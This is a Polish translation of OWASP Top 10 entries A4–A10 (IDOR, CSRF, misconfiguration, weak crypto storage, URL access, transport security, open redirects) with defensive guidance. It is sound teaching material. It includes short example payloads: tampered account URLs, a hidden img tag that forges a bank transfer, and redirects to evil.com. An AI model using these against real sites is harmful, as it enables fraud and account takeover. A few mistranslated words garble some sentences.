Aplikacje podczas generowania strony odpowiedzi przeważnie używają nazwy lub klucza obiektu. Niestety aplikacje nie zawsze weryfikujący użytkownik jest upoważniony do odczytu tych danych. W efekcie powstaje podatność na niebezpieczne bezpośrednie odwołanie. Testerzy w łatwy sposób mogą zweryfikować istnienie takiego błędu, poprzez manipulacje nazwami lub wartościami parametrów/ obiektów.

Tego typu błędy narażają na ujawnienie wszystkich danych do których ma dostęp dany obiekt. Odpowiednia losowość parametrów może zwiększyć bezpieczeństwo, jednak nie uniemożliwi dostanie się do tych danych.

Rozważ wartość biznesowa ujawnionych danych.

Weź również pod uwagę szkody poniesione w wyniku opublikowania luki.

Przykładowy atakAplikacja używa niezweryfikowanych danych w zapytaniu SQL które pobiera dane odnośnie konta:

String query = "SELECT * FROM accts WHERE account = ?";

PreparedStatement pstmt = connection.prepareStatement(query , … );

pstmt.setString( 1, request.getParameter("acct"));

ResultSet results = pstmt.executeQuery( );

Atakujący modyfikuje parametr ‘acct’ wysyłając dowolny numer konta. Dzięki temu uzyskuje dostęp do danych innych kont.

http://example.com/app/accountInfo?acct=notmyacct

Czy jestem podatny?Najlepszym sposobem identyfikacje tej luki jest sprawdzenie czy wszystkie odwołania do obiektów są odpowiednio zabezpieczone. Sprawdź::

1. Dla odwołań bezpośrednich do zastrzeżonych zasobów, czy aplikacja powinna sprawdzić prawo dostępu do danego obiektu przez aktualnie zautoryzowanego użytkownika..

2. Jeżeli referencja jest odwołaniem pośrednim, to czy mapowanie bezpośredniej referencji powinno mieć weryfikacje dla wartości danego obiektu dla autoryzowanego użytkownika.

Analiza kodu aplikacji, umożliwi szybka weryfikacje czy dane rozwiązanie jest bezpiecznie zaimplementowane. Testowanie jest również przydatne w celu identyfikacji niebezpiecznych bezpośrednich odwołań do obiektów. Narzędzia automatyzujące skanowania przeważnie nie są w stanie wykryć błędów tego typu.

OdwołaniaOWASP• OWASP Top 10-2007 on Insecure Dir Object References

• ESAPI Access Reference Map API

• ESAPI Access Control API (See isAuthorizedForData(), isAuthorizedForFile(), isAuthorizedForFunction() )

W celu dodatkowych informacji odnośnie wymagań kontroli dostępu prosimy zobaczyć ASVS requirements area for Access Control (V4).

Zewnętrzne• CWE Entry 639 on Insecure Direct Object References

• CWE Entry 22 on Path Traversal (Przykład ataku z wykorzystaniem niebezpiecznego bezpośredniego odwołania)

Jak zapobiegać?Zabezpieczanie bezpośrednich odwołań wymaga zdefiniowania reguł dostępności danego obiektu dla użytkowników (np. numer obiektu, nazwa pliku):

1. Używaj odwołań do obiektów per sesji lub użytkownik. Takie rozwiązanie uniemożliwia atakującym odwoływanie się do nieautoryzowanych obiektów. Np zamiast używania klucza z bazy danych, zdefiniuj możliwe numery obiektów dla danego użytkownika które będą dostępne. OWASP’s ESAPI zawiera obydwa, sekwencyjne I losowe mapowania które mogą być wykorzystane przez programistów w celu wyeliminowania bezpośrednich odwołań do obiektów.

2. Sprawdź dostęp.. Każde bezpośrednie odwołanie do obiektu z nieautoryzowanego źródła powinno zawierać kontrole dostępu w celu sprawdzenia czy dany użytkownik ma prawo odwołania się do danego obiektu/

Niebezpieczne Bezpośrednie OdwołaniaA4

Słabosci Bezpieczeństwa Słabosci Bezpieczeństwa

Wektory Ataku

WpływTechnicznyCzynniki

Zagrożenia

WpływBiznesowy

__________ WykorzystanieŚREDNIE

WystępowanieBARDZO CZĘSTE

WykrywalnośćŁATWA

WpływUMIARKOWANY __________

Wyobraź sobie ze atakujący jest w stanie zmusić użytkowników do wykonania pewnych akcji na stronie. To samo może zrobić każda inna strona lub źródło danych.

Atakujący tworzy sfałszowane zapytania HTTP, które są z kolei nieświadomie wykonywane przez ofiary za pomocą tagów obrazków, XSS lub wieloma innymi technikami. jeżeli użytkownik jest zautentykowany atak kończy się sukcesem.

CSRF wykorzystuje błędy stron na których jesteśmy w stanie przewidzieć wszystkie detale danego zapytania.

Przeglądarki automatycznie wysyłają z reguły ciężkie do odgadnięcia ID sesji, lub wartość ciasteczka, dlatego ciężko jest odróżnić zapytania oryginalne od fałszywych.

Detekcja błędów CSRF jest bardzo łatwa. Wykrywa się je podczas testów penetracyjnych lub analizy kodu.

Wszelkie akcje lub dane do których ma dostęp zautentykowana ofiara mogą być zmienione przez atakującego.

Rozważ wartość podatnych danych lub funkcji aplikacji. Zwróć uwagę na możliwą nieświadomość wykonywania danych czynów przez użytkowników.

Rozważ jaki może mieć to wpływ na Twoja reputację.

Example Attack ScenarioAplikacja umożliwia użytkownikowi wysłanie niezabezpieczonego zapytania zmieniające stan aplikacji np..:

http://example.com/app/transferFunds?amount=1500 &destinationAccount=4673243243

Atakujący tworzy zapytanie które będzie zawierać informacje o przelaniu pieniędzy z konta ofiary na konto atakującego tak skonstruowane zapytanie zostanie ukryte jako odnośnik do obrazka lub jako iframe zapisany na wielu stronach do których ma dostęp atakujący.

<img src="http://example.com/app/transferFunds? amount=1500&destinationAccount=attackersAcct#“ width="0" height="0" />

Jeżeli zalogowana ofiara odpowiedzi którakolwiek ze stron zawierających szkodliwy kod, to te zapytania będą zawierać dane autentykacyjne ofiary dzięki czemu zapytanie wykona się bez przeszkód i będzie postrzegane jako autoryzowana akcja którą wykonał użytkownik.

Czy jestem podatny na CSRF?Najprostszym sposobem identyfikacje tej luki jest zweryfikowanie czy każdy z linków zawiera nieprzewidywalny, unikalny token dla każdego użytkownika. Bez tego typu tokenów atakujący są w stanie stworzyć szkodliwe zapytania. Skup się na linkach umożliwiających zmianę stanów aplikacji gdyż te najczęściej padają ofiara ataku. Sprawdź wielo poziomowe zapytania, bo i te można podrobić używając odpowiednich tagów lub JavaScript. Na token nie nadają się ( przeważnie) cookies, adres ip, oraz pozostałe informacje które są automatycznie wysyłane przez przeglądarkę.

Narzędzie CSRF Tester wydane przez OWASP wspomaga proces generowania przypadków użycia aby zademonstrować zagrożenia związane z bledami CSRF.

OdwołaniaOWASP• OWASP CSRF Article

• OWASP CSRF Prevention Cheat Sheet

• OWASP CSRFGuard - CSRF Defense Tool

• ESAPI Project Home Page

• ESAPI HTTPUtilities Class with AntiCSRF Tokens

• OWASP Testing Guide: Chapter on CSRF Testing

• OWASP CSRFTester - CSRF Testing Tool

Zewnętrzne• CWE Entry 352 on CSRF

Jak sie bronic przed CSRF?Ochrona przed CSRF polega na załączaniu unikalnego nieprzewidywalnego tokena przy każdym z zapytań ( w treści strony lub URL). Tokeny powinny być unikalne dla każdej nowej sesji użytkownika, a najlepiej jeżeli są unikalne dla każdego zapytania.

1. Preferowanym rozwiązaniem jest wysyłane tokena jako ukryte pole ( input typu hidden) dzięki czemu token wysyłany jest w treści strony a nie przekazywany w URL. Podnosi to poziom bezpieczeństwa przez nie ujawnianie tokenu w adresie URL.

2. Token można umieścić w serwis URL. Jednak jak już wspomniano może to prowadzić do jego ujawnienia dla osoby atakującej.

OWASP CSRF Guard może być użyty w celu automatycznego dopisywania tokenów dla aplikacji napisanych w Java EE, .NET lub php. ESAPI OWASP zawiera generatory oraz walidatory tokenów dzięki którym developerzy mogą zabezpieczyć transakcje w swoich aplikacjach.

Cross-Site Request Forgery(CSRF)A5

Słabosci Bezpieczeństwa Słabosci Bezpieczeństwa

Wektory Ataku

WpływTechnicznyCzynniki

Zagrożenia

WpływBiznesowy

__________ WykorzystanieŁATWE

WystępowanieCZĘSTE

WykrywalnośćŁATWA

WpływUMIARKOWANY __________

Rozważ możliwość włamania na maszynę zarówno przez atakujących z zewnątrz jak I wewnątrz. Weź pod uwagę również użytkowników wewnętrznych starających ukryć swoje działania.

Atakujący wykorzystuje domyślne konta, nieużywane strony, niezalatane błędy, niezabezpieczone pliki I katalogi itp.. W celu uzyskania nieautoryzowanego dostępu do danych w systemie.

Błędy konfiguracji zabezpieczeń mogą wystąpić na każdej warstwie aplikacji, włączając w to platformę obsługującą, webserver, serwer aplikacyjny, framework, lub autorski kod. Deweloperzy powinni pracować razem z administratorami aby zapewnić poprawna konfiguracje na wszystkich używanych poziomach. Automatyzacja skanów jest przydatna w wykrywaniu brakujących latek bezpieczeństwa, błędnych konfiguracji, domyślnych kont, zbędnych usług itp..

Tego typu błędy często umożliwiają atakującym nieautoryzowany dostęp do danych lub systemu. Może się zdarzyć ze umożliwi to całkowite przejęcie kontroli nad atakowanym systemem.

Możliwe jest całkowite przejęcie systemu bez Twojej wiedzy. Wszystkie dane mogą zostać skradzione lub zmodyfikowane.

Koszty naprawy mogą być potężne.

Przykładowe ataki

Atak#1: Twoja aplikacja zbudowana jest w oparciu o potężny framework jakim jest Struts, lub Spring. Okazuje się ze znaleziono błędy typu XSS w jednym z tych frameworków. Udostępniono odpowiednie latynoskich bezpieczeństwa uniemożliwiające wykorzystanie tych błędów. Jednak Z powodu nie wykonywania aktualizacji bibliotek, Kreta narażony na ataki hakerów. Dopóki nie uaktualnisz swojej aplikacji, jesteś narażony na tego typu ataki. Atak#2: konsola administracyjna serwera aplikacyjnego nie jest wyłączona Domyślne konta nie są usunięte haker znajduje konsole oraz loguje się na standardowe hasło użytkownika. Dzięki temu przejmuje kontrole nad Twoja maszyna. Atak#3: listowanie katalogów nie zostało wyłączone. Atakujący widzi ze jest w stanie listować zawartość katalogów, w celu znalezienia intersujących plików. W ten sposób ściąga kody źródłowe aplikacji w celu ich późniejszego wykorzystania. Jeżeli znajdzie błędy w kodzie, przejmie kontrole nad Twoja maszyna. Atak#4: ustawienia serwera aplikacyjnego umożliwiają śledzenie błędów. Atakujący uwielbiają dodatkowe informacje na temat atakowanego systemu :)

Czy jestem podatny?Czy przeprowadziłeś kompleksowe zabezpieczanie systemu informatycznego?

1. Czy posiadasz procedury, oprogramowanie wspomagające aktualizację systemów operacyjnych, web/ serwerów aplikacyjnych, DBMS, aplikacji oraz ich kodów źródłowych zgodnie z ich najnowsza wersja?

2. Czy usunąłeś, Odinstalowałeś, usunąłeś wszelkie zbędne rzeczy? Tj. Porty, usługi, strony, konta, dostępy ?

3. Czy domyślne hasła są zmienione/ usunięte ?

4. Czy ustawienia obsługi błędów uniemożliwiają wgląd w logi stosu (stack trace), oraz innych informacji które mogą pojawiać się wraz z opisem błędów?

5. Czy ustawienia bezpieczeństwa we framewokach ( Struts, Spring, ASP .NET) oraz w bibliotekach są zrozumiałe i odpowiednio skonfigurowane?

Konkretny oraz powtarzalny proces jest wymagany w celu rozwijania i utrzymywania poprawnego bezpieczeństwa aplikacji.

OdwołaniaOWASP• OWASP Development Guide: Chapter on Configuration

• OWASP Code Review Guide: Chapter on Error Handling

• OWASP Testing Guide: Configuration Management

• OWASP Testing Guide: Testing for Error Codes

• OWASP Top 10 2004 - Insecure Configuration Management

Wiecej informacji: ASVS requirements area for Security Configuration (V12).

Zewnętrzne• PC Magazine Article on Web Server Hardening

• CWE Entry 2 on Environmental Security Flaws

• CIS Security Configuration Guides/Benchmarks

Jak temu zapobiec?Zaleca się:

1. Powtarzalność procesu zabezpieczania umożliwiającego szybkie stworzenie nowego odpowiednio zabezpieczonego środowiska. Testowe, QA, oraz środowiska produkcyjne powinny być skonfigurowane w identyczny sposób. Proces ten powinien zostać zautomatyzowany w celu zmniejszenia nakładu pracy poniesionego podczas konfiguracji nowego bezpiecznego środowiska.

2. Wszystkie kody, biblioteki które są zazwyczaj pomijane podczas aktualizacji powinny zostać poddane procesowi nieustannego sprawdzania dostępnych aktualizacji.

3. Odpowiednia architekturę aplikacji umożliwiająca stosowne bezpieczeństwo oraz separację komponentów.

4. Wykonywanie regularnych skanów oraz audytów w celu detekcji brakujących latek lub nieodpowiedniej konfiguracji.

Błędy konfiguracji zabezpieczeńA6 Słabosci Bezpieczeństwa Słabosci Bezpieczeństwa

Wektory Ataku

WpływTechnicznyCzynniki

Zagrożenia

WpływBiznesowy

__________ WykorzystanieTRUDNE

WystępowanieRZADKIE

WykrywalnośćTRUDNA

WpływSILNY __________

Czy użytkownicy lub administratorzy chcieliby mieć dostęp do zabezpieczonych danych?

Atakujący rzadko kiedy dekodują dane. Częściej zdobywają klucze lub kanały przesyłu danych aby moc odczytać dane w niezaszyfrowanej formie.

Najczęstszym przypadkiem jest nie szyfrowanie danych w miejscach potrzebnych. Kiedy już jest zastosowana enkrypcja, to z kolei nie ma odpowiedniego zabezpieczenia kluczy, ich rotacji, lub odpowiednio silnego silnika kryptograficznego. Równie częste jest stosowanie słabych (brak salt 'a) hashy. Atakujący ze względu na ograniczony dostęp do wnętrza aplikacji najpierw szukają błędów w innych częściach struktury danych.

W wyniku ataku ujawnione zostają wszystkie dane które powinny być zaszyfrowane. Najczęściej są to dane kart kredytowych, hasła, dane osobowe itp...

Zwróć uwagę na wartość biznesowa utraconych danych oraz wpływ na Twoja reputacje.

Jaka spoczywa na Tobie odpowiedzialność prawna?

Przykładowe atakiAtak #1: Aplikacja zapisuje dane w postaci zaszyfrowanej uniemożliwiając ich odczyt przez osoby trzecie. Niestety baza automatycznie dekryptuje dane, na postawie kolumn z numerek karty kredytowej, dając możliwość pobrania danych za pomocą błędy wstrzyknięcia SQL. System powinien być tak skonfigurowany aby dekrypcja była możliwa jedynie po stronie backendu.

Atak #2: Backup z danymi NFZ jest na tej samej taśmie co klucz. Backup nigdy nie dociera do centrum z kopiami…

Atak #3: Baza danych z hasłami wszystkich użytkowników używa haseł bez salt 'a. Luka w uploadowaniu plików umożliwia wydobycie wszystkich haseł. Wszystkie hasła są złamane w przeciągu 4ch tygodni podczas gdy atak na hasła z saltem zająłby 3000 lat.

Czy jestem podatny? W pierwszej kolejności należy ustalić które dane powinny być szyfrowane. Mogą być to hasła, dane kart kredytowych, rekordy NFZ, dane osobowe. Upewnij się, ze:

1. Wszystko jest zaszyfrowane oraz składowane przez długi czas, w szczególności kopie zapasowe.

2. Tylko autoryzowani użytkownicy maja dostęp do zdekryptowanych danych (np.. Kontrola dostępu – patrz A4 I A8).

3. Używany jest silny algorytm szyfrowania.

4. Wygenerowano silny klucz zabezpieczony przed nieautoryzowanym dostępem.

Oraz więcej… W celu dodatkowych informacji polecamy ASVS requirements on Cryptography (V7)

OdwołaniaOWASPW celu uzyskania dodatkowych informacji polecamy ASVS requirements on Cryptography (V7).

• OWASP Top 10-2007 on Insecure Cryptographic Storage

• ESAPI Encryptor API

• OWASP Development Guide: Chapter on Cryptography

• OWASP Code Review Guide: Chapter on CryptographyZewnętrzne• CWE Entry 310 on Cryptographic Issues

• CWE Entry 312 on Cleartext Storage of Sensitive Information

• CWE Entry 326 on Weak Encryption

Jak temu zapobiec?Pełna lista niebezpieczeństw związanych z kryptografia wykracza poza materiał listy Top 10. Chcielibyśmy przedstawić absolutne minimum zwiększające poziom bezpieczeństwa:

1. Biorąc pod uwagę zagrożenia dla twoich danych (atak wewnętrzny/ zewnętrzny) upewnij się ze odpowiednio zabezpieczysz dane właśnie przed tymi rodzajami ataków.

2. Upewnij się ze kopie są odpowiednio szyfrowane, a klucze trzymane osobno.

3. Upewnij się ze korzystasz z odpowiednio silnych algorytmów szyfrowania, wraz z odpowiednim zarzadzaniem kuczami.

4. Upewnij się ze hasła są odpowiednio hashowane za pomocą odpowiedniego algorytmu, oraz użyty jest odpowiedni salt.

5. Upewnij się ze klucze I hasła są zabezpieczone przed nieautoryzowanym dostępem.

Błędna implementacja kryptografiiA7

Słabosci Bezpieczeństwa Słabosci Bezpieczeństwa

Wektory Ataku

WpływTechnicznyCzynniki

Zagrożenia

WpływBiznesowy

__________ WykorzystanieŁATWE

WystępowanieRZADKIE

WykrywalnośćŚREDNIA

WpływUMIARKOWANY __________

Każda osoba z dostępem do sieci jest w stanie wysłać zapytanie do aplikacji. Czy anonimowi użytkownicy na swoich prawach są w stanie dostać się do nieautoryzowanych stron ?

Autoryzowany w systemie użytkownik atakujący, zmienia URL aby wskazywało pod dany adres. Czy dostęp został udzielony? Anonimowi użytkownicy są w stanie otwierać strony z poufnymi danymi.

Aplikacje często obsługują zapytania do stron bez odpowiedniego zabezpieczenia. Czasem obsługa URL jest zdefiniowana na poziomie ustawień które są nieodpowiednio skonfigurowane, lub tez programiści po prostu zapominają o dodaniu odpowiednich reguł.

Wykrywalność takich błędów jest łatwa. Najtrudniejszym etapem jest identyfikacja nazw stron do zaatakowania.

Ten typ błędu pozwala atakującym na dostęp do nieautoryzowanych funkcjonalności serwisu. Głównym celem ataków są funkcje administracyjne.

Rozważ wartość biznesowa używanych funkcji oraz danych które są przez nie przetwarzane.

Rozważ również jaki wpływ na reputacje firmy miałoby ujawnienie tej luki.

Przykładowy atakAtakujący przegląda docelowe strony systemu. Weźmy na przykład następujący adres URL który powinien wymagać autentykacji na poziomie Adamina:

http://example.com/app/getappInfo

http://example.com/app/admin_getappInfoJeżeli atakujący nie jest zautentykowany, a ma dostęp do tej strony, to ma do niej nieautoryzowany dostęp. Jeżeli zautentykowany użytkownik ma dostęp do strony “admin_getappInfo” to jest to luka bezpieczeństwa która może umożliwić dostęp do kolejnych stron.

Tego typu błędy często pojawiają się kiedy linki oraz przyciski ukryte są w kodzie strony przed niezautoryzowanymi użytkownikami, I jest to jedyny mechanizm obronny aplikacji.

Czy jestem podatny?Najlepszym sposobem identyfikacje tej luki, jest odwolywanie się do wszystkich stron I sprawdzanie do których z nich mamy dostęp. Sprawdź czy:

1. Jest wymagana autentykacja przy próbie dostępu do tej strony?

2. Powinna być dostępna dla KAŻDEJ autentykowanej osoby? Jeżeli nie to czy jest sprawdzanie autentykacji aby upewnić się czy użytkownik ma dostęp do tej strony?

Zewnętrzne mechanizmy bezpieczeństwa umożliwiają kontrole dostępu do strony na postawie autoryzacji/ autentykacji. Upewnij się ze zostały one odpowiednio skonfigurowane dla każdej ze stron. Jeżeli kontrola dostępu znajduje się w kodzie aplikacji, upewnij się ze jest wywoływana dla każdej otwieranej strony. Testy penetracyjny jest w stanie wykryć strony bez kontroli dostępu.

OdwołaniaOWASP• OWASP Top 10-2007 on Failure to Restrict URL Access

• ESAPI Access Control API• OWASP Development Guide: Chapter on Authorization

• OWASP Testing Guide: Testing for Path Traversal

• OWASP Article on Forced Browsing

Dodatkowe informacje : ASVS requirements area for Access Control (V4).

Zewnętrzne• CWE Entry 285 on Improper Access Control (Authorization)

Jak temu zapobiec?Odpowiednie zabezpieczenie nieautoryzowanego dostępu do URL wymaga zabezpieczenia każdej ze stron. Najczęściej jest to zapewnione przez jeden lub więcej zewnętrznych komponentów aplikacji. Mimo tych zabezpieczeń zaleca się:

1. Ustawienie polityk autentykacji/ autoryzacji na podstawie roli, aby zmniejszyć czasochłonność zarzadzania tymi politykami.

2. Polityki powinny być konfigurowalne, aby zminimalizować wszystkie hard-codowane elementy.

3. Dodatkowe mechanizmy powinny domyślnie zabronić jakiegokolwiek dostępu, umożliwiając określony na podstawie ról dostęp, jedynie wybranym użytkownikom.

4. Jeżeli strona jest na workflow, upewnij się czy ustawiono odpowiednie wartości argumentów kontroli dostępu.

Błędy ograniczeń dostępu do URLA8 Słabosci Bezpieczeństwa Słabosci Bezpieczeństwa

Wektory Ataku

WpływTechnicznyCzynniki

Zagrożenia

WpływBiznesowy

__________ WykorzystanieTRUDNE

WystępowanieCZĘSTE

WykrywalnośćŁATWA

WpływUMIARKOWANY __________

Wyobraź sobie kogoś kto może monitorować cały ruch sieciowy twoich użytkowników łącznie z procesami logowania.

Monitorowanie ruchu sieciowego użytkowników może być trudne, ale może być tez łatwe. Problemem jest monitorowanie ruchu odwiedzających podatna na błędy stronę.

Aplikacje często nie zabezpieczają ruchu sieciowego. Często używają SSL/TLS podczas autoryzacji które później jest porzucane eksponując dane oraz ID sesji na ataki lub przejęcia. Brak ważności lub złą konfiguracją certyfikatów również maja na to wpływ.

Detekcja takich błędów jest łatwa, wystarczy obserwować ruch na stronie. Bardziej zaawansowane ataki wymagają znajomości architektury aplikacji oraz ustawień serwera.

Tego typu błędy umożliwiają przejecie konta ofiary poprzez ujawnienie poufnych danych. Jeżeli przechwycono dane administratora, automatycznie wszystkie konta mogą być podatne. Błędna konfiguracja SSL może być przyczyna ataków MITM oraz Phishingu.

Przemyśl wartość biznesowa widocznych danych w trakcje komunikacji pod katem ich poufności I integralności. Jakie kroki powinny zostać podjęte w celu autentykacji obydwóch stron.

Przykładowe atakiAtak #1: Strona nie używa SSL na stronach z wymagana autentykacja. Atakujący monitoruje ruch sieciowy (w sieci WiFi lub sieci lokalnej) I zbiera dane autentykacyjne typu ID sesji, zawartość ciasteczek. Zebrane w ten sposób dane mogą być użyte w celu ich odtworzenia I zalogowania się na konta ofiar.

Atak #2: Strona posiada niepoprawnie skonfigurowany certyfikat. Użytkownicy aby korzystać ze strony musza akceptować ostrzeżenia. W wyniku ataku phishingowego użytkownicy nie odróżniają certyfikatów prawdziwych od fałszywych, co w efekcie może doprowadzić do ujawnienia prywatnych danych

Atak#3: Strona używa polaczeń ODBC/JDBC bez szyfrowania, w rezultacie cały ruch jest nieszyfrowany I podatny na atak.

Czy jestem podatny?Najlepszym sposobem na sprawdzenie czy warstwa transportowa strony jest odpowiednio zabezpieczona jest:

1. Czy SSL jest używany w trakcie autentykacji

2. Czy SSL jest używany dla wszystkich zasobów na stronach z usługami lub prywatnymi danymi . To zabezpieczy wszystkie dane oraz tokeny sesyjne które zostały zmienione. Strony typu Mixed SSL powinny zostać wyeliminowane, ponieważ powodują one informacje z ostrzeżeniem po stronie użytkownika I mogą prowadzić do ujawnienia danych.

3. Używane silne algorytmy szyfrowania

4. Ustawiona flaga ‘secure’ dla wszystkich ciasteczek z wrażliwymi danymi. Uniemożliwi to podgląd wartości ciasteczek.

5. Odpowiednio skonfigurowany certyfikat dla serwera. Oznacza to ze musi on być wydany przez autoryzowane centrum, mieć ważna datę, być nieodrzuconym I być zgodnym z używanymi domenami.

OdwołaniaOWASPDodatkowe informacje: ASVS requirements on Communications Security (V10).

• OWASP Transport Layer Protection Cheat Sheet

• OWASP Top 10-2007 on Insecure Communications

• OWASP Development Guide: Chapter on Cryptography

• OWASP Testing Guide: Chapter on SSL/TLS Testing

Zewnętrzne• CWE Entry 319 on Cleartext Transmission of Sensitive Information

• SSL Labs Server Test

• Definition of FIPS 140-2 Cryptographic Standard

Jak temu zapobiec?Odpowiednie zabezpieczenie warstwy transportu może mieć wpływ na budowę strony. Najprostszym sposobem jest nałożenie certyfikatu na cala stronę. Ze względów wydajnościowych niektóre strony używają certyfikatów tylko na stronach z autoryzacja, inne tylko na ‘krytycznych’ stronach co nie zmienia faktu ze pozostałe dane mogą zostać ujawnione. Zaleca się zastosowanie chociaż do minimum: :

1. Wymagaj SSL na wrażliwych stronach. Zapytania nie-SSL powinny być przekierowane na kanał SSL.

2. Ciasteczka z wrażliwymi danymi powinny mieć ustawiona flagę ‘secure’.

3. Bierz pod uwagę tylko tych providerow SSL którzy stosują silne algorytmy (np. zgodny z FIPS 140-2 ) .

4. Upewnij się ze certyfikat jest ważny, nie wygasł, nie został odrzucony I zgadza się z nazwami domen.

5. Backend również powinien korzystać z SSL lub innych rodzaj szyfrowania.

Niewystarczająca ochrona warstwy transportuA9

Słabosci Bezpieczeństwa Słabosci Bezpieczeństwa

Wektory Ataku

WpływTechnicznyCzynniki

Zagrożenia

WpływBiznesowy

__________ WykorzystanieŚREDNIE

WystępowanieRZADKIE

WykrywalnośćŁATWA

WpływUMIARKOWANY __________

Wyobraź sobie ze ktoś jest w stanie wykonać zapytanie do strony bez wiedzy użytkownika.

Atakujący podpina się pod oryginalny link, co nie budzi podejrzeń ofiary, doczepiając szkodliwe przekierowanie które nie jest odpowiednio walidowane.

Użytkownicy często są przekierowywani w aplikacji na inne strony, lub używane są w tym celu wewnętrzne przekierowania. Często strona docelowa jest wartością jednego z parametrów, umożliwiając atakującym jego zmianę I wybranie innej strony docelowej.

Wykrywanie podatnych przekierowań jest łatwe. Należy szukać przekierowań w których możliwe jest umieszczenie pełnego adresu URL.

Przekierowania mogą skutkować w: instalacji szkodliwego oprogramowania, podstępem wyłudzić hasło lub inne informacje lub ominąć kontrole dostępu.

Rozważ wartość biznesowa utrzymania zaufania użytkowników.

Co się stanie kiedy zostaną zarażeni malwarem?

Co się stanie jeżeli atakujący uzyskają dostęp do wewnętrznych funkcji.

Przykładowe ataki Atak #1: Aplikacja posiada stronę pod nazwa: “redirect.jsp” Strona pobiera argument ‘url’. Atakujący tworzy szkodliwe zapytanie które przekieruje ofiarę na stronę która zainstaluje malware lub wyłudzi dane:

http://www.example.com/redirect.jsp?url=evil.com

Atak #2: Aplikacja używa przekierowań w celu przeniesienia użytkownika na różne części serwisu. Aplikacja mogą decydować w które miejsce należy przekierować użytkownika po poprawnej autoryzacji. W tym przypadku atakujący omija kontrole dostępu wykorzystując przekierowanie do panelu administratora:

http://www.example.com/boring.jsp?fwd=admin.jsp

Czy jestem podatny?Najlepszym sposobem na sprawdzenie czy aplikacja jest podatna brak walidacji przekierowań jest:

1. Analiza kodu dla wszystkich użytkowników używających przekierowań (‘transfer’ w .NET). Dla każdego przypadku sprawdź czy docelowy URL jest używany jako wartość któregokolwiek z parametrów. Jeżeli tak, zweryfikuj parametry tak aby zawierały tylko dozwolone lokalizacje lub cześć z tych lokalizacji.

2. Sprawdź stronę crwawlerem czy w odpowiedzi na któryś z linków otrzymać odpowiedz HTTP z kodami w zakresie 300 – 307(najczęściej jest to 302) . Sprawdź parametry przed zapytaniem czy któryś z nich odpowiada wynikowi przekierowania. Jeżeli tak, zmień go I sprawdź czy zmienia się również strona docelowa.

3. Jeżeli kod aplikacji jest niedostępny, sprawdź wszystkie parametry czy wyglądają na przekierowanie I przetestuj je.

OdwołaniaOWASP• OWASP Article on Open Redirects

• ESAPI SecurityWrapperResponse sendRedirect() method

Zewnętrzne• CWE Entry 601 on Open Redirects

• WASC Article on URL Redirector Abuse

• Google blog article on the dangers of open redirects

Jak temu zapobiec?Jest wiele sposobów na zabezpieczenie odwołań I przekierowań”

1. Nie używaj przekierowań2. Jeżeli używasz, nie pobieraj danych od użytkownika3. Jeżeli trzeba pobierać dane od użytkownika, upewnij się

ze są one poprawne oraz udostępnione dla użytkownika.Zaleca się aby docelowa lokalizacja była zmapowana dla danej wartości zamiast pełnego lub częściowego adresu URL.

Można użyć ESAPI w celu nadpisania metody sendRedirect() tym samym czyniąc ja zabezpieczona na przekierowania..

Bardzo ważne jest aby unikać tego rodzaju błędów ponieważ jest to główny cel ataku Phisherow.

Brak walidacji przekierowańA10 Słabosci Bezpieczeństwa Słabosci Bezpieczeństwa

Wektory Ataku

WpływTechnicznyCzynniki

Zagrożenia

WpływBiznesowy

Utworzenie i korzystanie z pełnego zestawu wspólnych kontroli bezpieczeństwa

Nieważne czy znasz wszystkie wcześniej wymienione zagrożenia, czy jesteś może początkującym w dziedzinie bezpieczeństwa web aplikacji, proces zabezpieczania lub tworzenia bezpiecznej aplikacji może być problematyczny, tym bardziej jeżeli aplikacji jest wiele.

OWASP posiada wiele zasobów które są darmowe i wolne.

OWASP stworzyło wiele darmowych oraz wolnych narzędzi aby wspomóc i zmniejszyć koszty procesu tworzenia i zabezpieczania aplikacji. Poniżej przedstawiamy parę przykładowych narzędzi OWASP, wspomagających tworzenie bezpiecznych aplikacji. NA następnej stronie, zaprezentowaliśmy dodatkowe narzędzia, służące do weryfikacji bezpieczeństwa stworzonych aplikacji.

Do dyspozycji istnieje wiele dodatkowych zasobów OWASP. Zachęcam do odwiedzenia strony projektów OWASP uporządkowanych według jakości (Release Quality, Beta, czy Alpha). Najwięcej zasobów OWASP jest dostępnych na Wiki, lub może być zamówionych w wersji hardcopy.

Informacje dla deweloperów+D

• W celu stworzenia bezpiecznej web aplikacji, należy sprecyzować co oznacza bezpieczne. OWASP zaleca korzystanie z Application Security Verification Standard (ASVS), jako poradnika dla definiowania wymagań bezpieczeństwa dla aplikacji. Jeżeli korzystacie państwo z outsourcingu, polecamy OWASP Secure Software Contract Annex.

Wymagania bezpieczeństwa

aplikacji

•Bardziej opłacalnym niż modernizacja aktualnego środowiska, jest projektowanie bezpieczeństwa od początku. OWASP zaleca korzystanie z OWASP Developer’s Guide, jako zestaw wskazówek dot. Projektowania bezpieczeństwa od samego początku.

Architektura bezpieczeństwa

aplikacji

•Tworzenie silnych i użytecznych kontroli bezpieczeństwa jest wyjątkowo trudne. Zapewnienie developerom odpowiednich zestawów kontroli bezpieczeństwa, znacznie ułatwia sprawę. OWASP zaleca projekt OWASP Enterprise Security API (ESAPI) jako model tworzenia bezpiecznych web aplikacji za pomocą bezpiecznego API. ESAPI jest możliwe do wdrożenia w Java, .NET, PHP, Classic ASP, Python, oraz Cold Fusion.

Standardowe kontrole

bezpieczeństwa

•Aby usprawnić aktualne procesy tworzenia aplikacji w organizacji OWASP zaleca OWASP Software Assurance Maturity Model (SAMM). Model ten pomaga organizacjom w formułowaniu i wdrażaniu strategii odpowiedniego dla danej organizacji bezpieczeństwa oprogramowania.

Cykl bezpiecznego rozwoju

• Projekt OWASP Education oraz OWASP Educational Presentations zapewnia materiały edukacyjne, prezentacje z dziedziny bezpieczeństwa web aplikacji dla developerów. W celu praktycznej nauki o słabych punktach aplikacji, polecamy OWASP WebGoat. Zapraszamy na OWASP AppSec Conference oraz na OWASP Chapter meetings.

Edukacja bezpieczeństwa

aplikacji

Utrzymuj porządekW celu weryfikacji bezpieczeństwa stworzonej lub zakupionej web aplikacji, OWASP zaleca analizę kodu aplikacji (jeżeli jest dostępny), oraz wykonanie jej testów. OWASP zaleca połączenie analizy kodu wraz z wykonaniem testów penetracyjnych we wszystkich możliwych miejscach. Tego typu rozwiązanie wykorzystuje zalety wzajemnie uzupełniających się obydwóch technik. Narzędzia OWASP nie służą do automatyzacji procesu analizy, lecz do wspomagania efektywności ekspertów.

